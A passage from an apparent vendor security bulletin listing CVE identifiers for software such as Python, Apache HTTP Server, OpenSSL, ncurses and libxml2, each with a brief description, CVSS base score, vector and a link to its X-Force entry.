vulnerable to a denial of service, caused by an out-of-bounds read in function ChunkAssignData. A remote attacker could exploit this vulnerability to gain sensitive information or cause the application to crash. \nCVSS Base score: 9.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202250](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202250>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H) \n \n** CVEID: **[CVE-2021-29921](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29921>) \n** DESCRIPTION: **Python is vulnerable to server-side request forgery, caused by improper input validation of octal strings in the stdlib ipaddress. By submitting a specially-crafted IP address to a web application, an attacker could exploit this vulnerability to conduct SSRF or local file include attacks. \nCVSS Base score: 9.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/201083](<https://exchange.xforce.ibmcloud.com/vulnerabilities/201083>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) \n \n** CVEID: **[CVE-2021-40438](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40438>) \n** DESCRIPTION: **Apache HTTP Server is vulnerable to server-side request forgery, caused by an error in mod_proxy. By sending a specially crafted request uri-path, a remote attacker could exploit this vulnerability to forward the request to an origin server chosen by the remote user. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/209526](<https://exchange.xforce.ibmcloud.com/vulnerabilities/209526>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2019-13057](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13057>) \n** DESCRIPTION: **NetApp Data ONTAP operating in 7-Mode could allow a remote authenticated attacker to obtain sensitive information, caused by the failure to properly stop a rootDN from requesting authorization as an identity from another database during a SASL bind. An attacker could exploit this vulnerability to obtain sensitive information. \nCVSS Base score: 4.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/166359](<https://exchange.xforce.ibmcloud.com/vulnerabilities/166359>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2021-28650](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28650>) \n** DESCRIPTION: **GNOME gnome-autoar could allow a remote attacker to traverse directories on the system, caused by the lack of a check of whether a file's parent is a symlink in certain complex situations in autoar-extractor.c. n attacker can exploit this vulnerability to modify, create, or delete arbitrary files on the system. \nCVSS Base score: 4.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/198306](<https://exchange.xforce.ibmcloud.com/vulnerabilities/198306>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L) \n \n** CVEID: **[CVE-2020-15719](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15719>) \n** DESCRIPTION: **libldap in certain third-party OpenLDAP packages is vulnerable to a man-in-the-middle attack, caused by a certificate-validation flaw when asserting RFC6125 support. An attacker could exploit this vulnerability to launch a man-in-the-middle attack and gain access to the communication channel between endpoints to obtain sensitive information or further compromise the system. \nCVSS Base score: 4.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/185628](<https://exchange.xforce.ibmcloud.com/vulnerabilities/185628>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2021-20284](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-20284>) \n** DESCRIPTION: **GNU Binutils is vulnerable to a denial of service, caused by a heap-based buffer overflow in the _bfd_elf_slurp_secondary_reloc_section function in elf.c. By persuading a victim to open a specially-crafted file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 4.7 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/198864](<https://exchange.xforce.ibmcloud.com/vulnerabilities/198864>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-3572](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3572>) \n** DESCRIPTION: **pip package for python could allow a remote authenticated attacker to bypass security restrictions, caused by the improper handling of Unicode separators in git references. By creating a specially crafted tag, an attacker could exploit this vulnerability to install a different revision on a repository. \nCVSS Base score: 4.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/208954](<https://exchange.xforce.ibmcloud.com/vulnerabilities/208954>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:N) \n \n** CVEID: **[CVE-2021-42771](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42771>) \n** DESCRIPTION: **Python-Babel Babel could allow a local authenticated attacker to traverse directories on the system, caused by a flaw in the Babel.Locale function. An attacker could load a specially-crafted .dat file containing \"dot dot\" sequences (/../) to execute arbitrary code on the system. \nCVSS Base score: 7.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/211766](<https://exchange.xforce.ibmcloud.com/vulnerabilities/211766>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2015-0247](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0247>) \n** DESCRIPTION: **e2fsprogs is vulnerable to a heap-based buffer overflow, caused by improper bounds checking by the libext2fs library. A local attacker could overflow a buffer and execute arbitrary code on the system or cause a denial of service. \nCVSS Base score: 4.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/100740](<https://exchange.xforce.ibmcloud.com/vulnerabilities/100740>) for the current score. \nCVSS Vector: (AV:L/AC:M/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2008-3106](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3106>) \n** DESCRIPTION: **Sun Java Runtime Environment (JRE) could allow a remote attacker to gain unauthorized access, caused by an error in XML data processing. By persuading a victim to download an untrusted applet or application, a remote attacker could gain unauthorized access to certain files and Web pages. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/43658](<https://exchange.xforce.ibmcloud.com/vulnerabilities/43658>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:P/I:N/A:N) \n \n** CVEID: **[CVE-2008-3110](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3110>) \n** DESCRIPTION: **Sun Java Runtime Environment (JRE) could allow a remote attacker to obtain sensitive information, caused by an error related to scripting language support. By persuading a victim to download an untrusted applet, a remote attacker could obtain information from another applet. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/43661](<https://exchange.xforce.ibmcloud.com/vulnerabilities/43661>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:P/I:N/A:N) \n \n** CVEID: **[CVE-2008-5349](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5349>) \n** DESCRIPTION: **Sun Java Runtime Environment (JRE) is vulnerable to a denial of service, caused by an unspecified error while processing RSA public keys. A remote attacker could exploit this vulnerability using a specially-crafted RSA public key to consume all available CPU resources. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/47064](<https://exchange.xforce.ibmcloud.com/vulnerabilities/47064>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:N/I:N/A:P) \n \n** CVEID: **[CVE-2014-2413](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2413>) \n** DESCRIPTION: **An unspecified vulnerability in Oracle Java SE related to the Libraries component has no confidentiality impact, partial integrity impact, and no availability impact. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/92489](<https://exchange.xforce.ibmcloud.com/vulnerabilities/92489>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:N/I:P/A:N) \n \n** CVEID: **[CVE-2019-13750](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13750>) \n** DESCRIPTION: **Google Chrome could allow a remote attacker to bypass security restrictions, caused by insufficient data validation in SQLite. By persuading a victim to visit a specially crafted Web site, an attacker could exploit this vulnerability to bypass defense-in-depth measures. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/172986](<https://exchange.xforce.ibmcloud.com/vulnerabilities/172986>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2019-13751](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13751>) \n** DESCRIPTION: **Google Chrome could allow a remote attacker to obtain sensitive information, caused by uninitialized use in SQLite. By persuading a victim to visit a specially crafted Web site, an attacker could exploit this vulnerability to obtain sensitive information from process memory. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/172987](<https://exchange.xforce.ibmcloud.com/vulnerabilities/172987>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) \n \n** CVEID: **[CVE-2021-27291](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27291>) \n** DESCRIPTION: **pygments is vulnerable to a denial of service. By persuading a victim to open a specially-crafted ODIN file using the \"<\" character, a remote attacker could exploit this vulnerability to cause the application to process the file for an extended time. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/198308](<https://exchange.xforce.ibmcloud.com/vulnerabilities/198308>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2021-30682](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30682>) \n** DESCRIPTION: **Apple iOS and iPadOS could allow a remote attacker to obtain sensitive information, caused by a logic issue in the WebKit component. By persuading a victim to visit a specially crafted Web site, an attacker could exploit this vulnerability to user sensitive information, and use this information to launch further attacks against the affected system. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202344](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202344>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) \n \n** CVEID: **[CVE-2017-16879](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16879>) \n** DESCRIPTION: **Ncurses is vulnerable to a denial of service, caused by stack-based buffer overflow in the _nc_write_entry function in tinfo/write_entry.c. By persuading a victim to open a specially crafted terminfo file, an remote attacker could exploit this vulnerability to cause the application to crash or possibly execute arbitrary code. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/135309](<https://exchange.xforce.ibmcloud.com/vulnerabilities/135309>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2015-2059](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2059>) \n** DESCRIPTION: **libidn could allow a remote attacker to obtain sensitive information, caused by an out-of-bounds read with stringprep functions on invalid UTF-8. An attacker could exploit this vulnerability to obtain sensitive information from an application using the libidn library. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/104409](<https://exchange.xforce.ibmcloud.com/vulnerabilities/104409>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) \n \n** CVEID: **[CVE-2019-9633](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9633>) \n** DESCRIPTION: **GNOME GLib is vulnerable to a denial of service, caused by the failure to ensure that a parent GTask remains alive during the execution of a connection-attempting enumeration. By persuading a victim to visit a specially-crafted Web site, a remote attacker could exploit this vulnerability to cause a denial of service. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/158171](<https://exchange.xforce.ibmcloud.com/vulnerabilities/158171>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2016-1938](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1938>) \n** DESCRIPTION: **Mozilla Firefox could provide weaker than expected security, caused by the creation of incorrect calculations in certain cases by the Network Security Services (NSS) mp_div() and mp_exptmod() functions. An attacker could exploit this vulnerability to create cryptographic weaknesses. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/110190](<https://exchange.xforce.ibmcloud.com/vulnerabilities/110190>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2016-4483](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4483>) \n** DESCRIPTION: **libxml2 is vulnerable to a denial of service, caused by an out-of-bounds read when parsing a specially crafted XML file if recover mode is used. By persuading a victim to open a specially crafted XML file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/114279](<https://exchange.xforce.ibmcloud.com/vulnerabilities/114279>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2016-3189](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3189>) \n** DESCRIPTION: **Bzip2 is vulnerable to a denial of service, caused by a use-after-free error in the bzip2recover. By persuading a victim to open a specially-crafted bzip2 file, an attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/114307](<https://exchange.xforce.ibmcloud.com/vulnerabilities/114307>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2019-13752](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13752>) \n** DESCRIPTION: **Google Chrome could allow a remote attacker to obtain sensitive information, caused by an out-of-bounds read in SQLite. By persuading a victim to visit a specially crafted Web site, a remote attacker could exploit this vulnerability to obtain sensitive information. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/172921](<https://exchange.xforce.ibmcloud.com/vulnerabilities/172921>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) \n \n** CVEID: **[CVE-2019-13753](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13753>) \n** DESCRIPTION: **Google Chrome could allow a remote attacker to obtain sensitive information, caused by an out-of-bounds read in SQLite. By persuading a victim to visit a specially crafted Web site, a remote attacker could exploit this vulnerability to obtain sensitive information. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/172922](<https://exchange.xforce.ibmcloud.com/vulnerabilities/172922>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) \n \n** CVEID: **[CVE-2015-2697](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2697>) \n** DESCRIPTION: **MIT Kerberos is vulnerable to a denial of service. By sending a TGS request with a specially crafted realm field beginning with a null byte, a remote authenticated attacker could exploit this vulnerability to cause the KDC to crash. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/107876](<https://exchange.xforce.ibmcloud.com/vulnerabilities/107876>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2021-42375](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42375>) \n** DESCRIPTION: **BusyBox is vulnerable to a denial of service, caused by the incorrect handling of a special element in ash applet when processing a specially crafted shell command. A local authenticated attacker could exploit this vulnerability to cause a denial of service. \nCVSS Base score: 4.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/213528](<https://exchange.xforce.ibmcloud.com/vulnerabilities/213528>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2019-1010266](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1010266>) \n** DESCRIPTION: **Lodash is vulnerable to a denial of service, caused by uncontrolled resource consumption in Date handler. By sending an overly long string, a local attacker could exploit this vulnerability to cause the application to stop responding. \nCVSS Base score: 4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/168402](<https://exchange.xforce.ibmcloud.com/vulnerabilities/168402>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2021-27645](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27645>) \n** DESCRIPTION: **GNU glibc is vulnerable to a denial of service, caused by double-free in the nameserver caching daemon (nscd). By sending a specially-crafted request, a local attacker could exploit this vulnerability to cause a denial of service. \nCVSS Base score: 4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/197417](<https://exchange.xforce.ibmcloud.com/vulnerabilities/197417>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2015-5186](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5186>) \n** DESCRIPTION: **Linux Audit Framework could allow a local attacker to obtain sensitive information, caused by the improper handling of escape sequences. An attacker could exploit this vulnerability using the ausearch program to obtain sensitive information. \nCVSS Base score: 4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/105894](<https://exchange.xforce.ibmcloud.com/vulnerabilities/105894>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) \n \n** CVEID: **[CVE-2016-8623](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8623>) \n** DESCRIPTION: **cURL/libcurl could allow a local attacker to obtain sensitive information, caused by an use-after-free error. By using another thread to structs original cookie together with its strings, an attacker could exploit this vulnerability to obtain sensitive information. \nCVSS Base score: 4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/118641](<https://exchange.xforce.ibmcloud.com/vulnerabilities/118641>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) \n \n** CVEID: **[CVE-2015-8035](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8035>) \n** DESCRIPTION: **libxml2 is vulnerable to a denial of service, caused by the failure to properly detect compression errors by the xz_decomp function. By using specially-crafted XML data, a local attacker could exploit this vulnerability to cause the process to hang. \nCVSS Base score: 4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/107845](<https://exchange.xforce.ibmcloud.com/vulnerabilities/107845>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2016-6153](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6153>) \n** DESCRIPTION: **SQLite could allow a local attacker to gain elevated privileges on the system, caused by the creation of temporary files in directory with insecure permissions. An attacker could exploit this vulnerability to obtain leaked data. \nCVSS Base score: 4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/114715](<https://exchange.xforce.ibmcloud.com/vulnerabilities/114715>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) \n \n** CVEID: **[CVE-2021-26690](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26690>) \n** DESCRIPTION: **Apache HTTP Server is vulnerable to a denial of service, caused by a NULL pointer dereference. A remote attacker could exploit this vulnerability using a specially crafted Cookie header handled by mod_session to cause the system to crash. \nCVSS Base score: 3.7 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/203464](<https://exchange.xforce.ibmcloud.com/vulnerabilities/203464>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2021-35603](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35603>) \n** DESCRIPTION: **An unspecified vulnerability in Java SE related to the JSSE component could allow an unauthenticated attacker to obtain sensitive information resulting in a low confidentiality impact using unknown attack vectors. \nCVSS Base score: 3.7 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/211676](<https://exchange.xforce.ibmcloud.com/vulnerabilities/211676>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N) \n \n** CVEID: **[CVE-2015-4042](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4042>) \n** DESCRIPTION: **GNU Coreutils is vulnerable to a buffer overflow, caused by improper bounds checking by the keycompare_mb(). By sending an overly long argument, a local attacker could overflow a buffer and execute arbitrary code on the system or cause the application to crash. \nCVSS Base score: 3.7 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/150816](<https://exchange.xforce.ibmcloud.com/vulnerabilities/150816>) for the current score. \nCVSS Vector: (AV:L/AC:H/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2019-1563](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1563>) \n** DESCRIPTION: **OpenSSL could allow a remote attacker to obtain sensitive information, caused by a padding oracle attack in PKCS7_dataDecode and CMS_decrypt_set1_pkey. By sending an overly large number of messages to be decrypted, an attacker could exploit this vulnerability to obtain sensitive information. \nCVSS Base score: 3.7 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/167022](<https://exchange.xforce.ibmcloud.com/vulnerabilities/167022>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N) \n \n** CVEID: **[CVE-2020-1968](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1968>) \n** DESCRIPTION: **OpenSSL could allow a remote attacker to obtain sensitive information, caused by a Raccoon attack in the TLS specification. By computing the pre-master secret in connections which have used a Diffie-Hellman (DH) based ciphersuite, an attacker could exploit this vulnerability to eavesdrop on all encrypted communications sent over that TLS connection. \nCVSS Base score: 3.7 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/187977](<https://exchange.xforce.ibmcloud.com/vulnerabilities/187977>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N) \n \n** CVEID: **[CVE-2018-16429](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16429>) \n** DESCRIPTION: **GNOME GLib is vulnerable to a denial of service, caused by an out-of-bounds read in g_markup_parse_context_parse() in gmarkup.c. By persuading a victim to open a specially-crafted file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/149332](<https://exchange.xforce.ibmcloud.com/vulnerabilities/149332>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2019-17594](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17594>) \n** DESCRIPTION: **GNU ncurses could allow a remote attacker to obtain sensitive information, caused by a heap-based buffer over-read in the _nc_find_entry function in tinfo/comp_hash.c in the terminfo library. By persuading a victim to open a specially-crafted file, an attacker could exploit this vulnerability to obtain sensitive information. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/168970](<https://exchange.xforce.ibmcloud.com/vulnerabilities/168970>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) \n \n** CVEID: **[CVE-2019-17595](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17595>) \n** DESCRIPTION: **GNU ncurses could allow a remote attacker to obtain sensitive information, caused by a heap-based buffer over-read in the fmt_entry function in tinfo/comp_hash.c in the terminfo library. By persuading a victim to open a specially-crafted file, an attacker could exploit this vulnerability to obtain sensitive information. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/168972](<https://exchange.xforce.ibmcloud.com/vulnerabilities/168972>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) \n \n** CVEID: **[CVE-2020-29623](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-29623>) \n** DESCRIPTION: **Apple macOS, iOS, iPadOS and tvOS could allow a local authenticated attacker to bypass security restrictions, caused by a flaw in WebKit Storage component. By sending a specially-crafted request, an attacker could exploit this vulnerability to fully delete browsing history. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/199361](<https://exchange.xforce.ibmcloud.com/vulnerabilities/199361>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2021-3200](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3200>) \n** DESCRIPTION: **Libsolv is vulnerable to a denial of service, caused by a buffer overflow in the testcase_read function. By persuading a victim to open a specially file, a remote attacker could overflow a buffer and cause the application to crash. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/203837](<https://exchange.xforce.ibmcloud.com/vulnerabilities/203837>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2017-13734](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13734>) \n** DESCRIPTION: **Ncurses is vulnerable to a denial of service, caused by an illegal address access in the _nc_safe_strcat function in strings.c. By using a specially-crafted file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/131062](<https://exchange.xforce.ibmcloud.com/vulnerabilities/131062>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2017-13733](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13733>) \n** DESCRIPTION: **Ncurses is vulnerable to a denial of service, caused by an illegal address access in the fmt_entry function in progs/dump_entry.c. By using a specially-crafted file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/131061](<https://exchange.xforce.ibmcloud.com/vulnerabilities/131061>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2017-13732](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13732>) \n** DESCRIPTION: **Ncurses is vulnerable to a denial of service, caused by an illegal address access in the dump_uses function in progs/dump_entry.c. By using a specially-crafted file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/131060](<https://exchange.xforce.ibmcloud.com/vulnerabilities/131060>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2017-13731](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13731>) \n** DESCRIPTION: **Ncurses is vulnerable to a denial of service, caused by an illegal address access in the postprocess_termcap function in parse_entry.c. By using a specially-crafted file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 3.3 \nCVSS Temporal Score: See: [ 